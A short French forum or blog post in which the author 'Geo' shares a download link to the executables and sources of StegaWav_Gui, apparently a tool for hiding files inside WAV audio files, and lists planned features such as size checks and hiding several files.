Vous pouvez donc télécharger l'archive à cette adresse :
http://venom630.free.fr/geo/?path=tools/StegaWav_Gui

Elle contient :
- Les exécutables (quand même !) ;
- Les sources.

Ce que je prévois pour la suite :
- Vérification des fichiers : il faut que le fichier son soit environ neuf fois plus gros que le fichier à cacher (pas huit, parce que j'ai envie) ;
- Cacher plusieurs fichiers à la suite ? Eventuellement, faire un header principal du genre "NombreDeFichiers: 3"... ;
- Proposez-moi vos idées ? De toute façon, les sources sont diffusées. Vous faites ce que vous voulez.


Rien de compliqué, donc je vais, à votre plus grand malheur, m'arrêter là.

Geo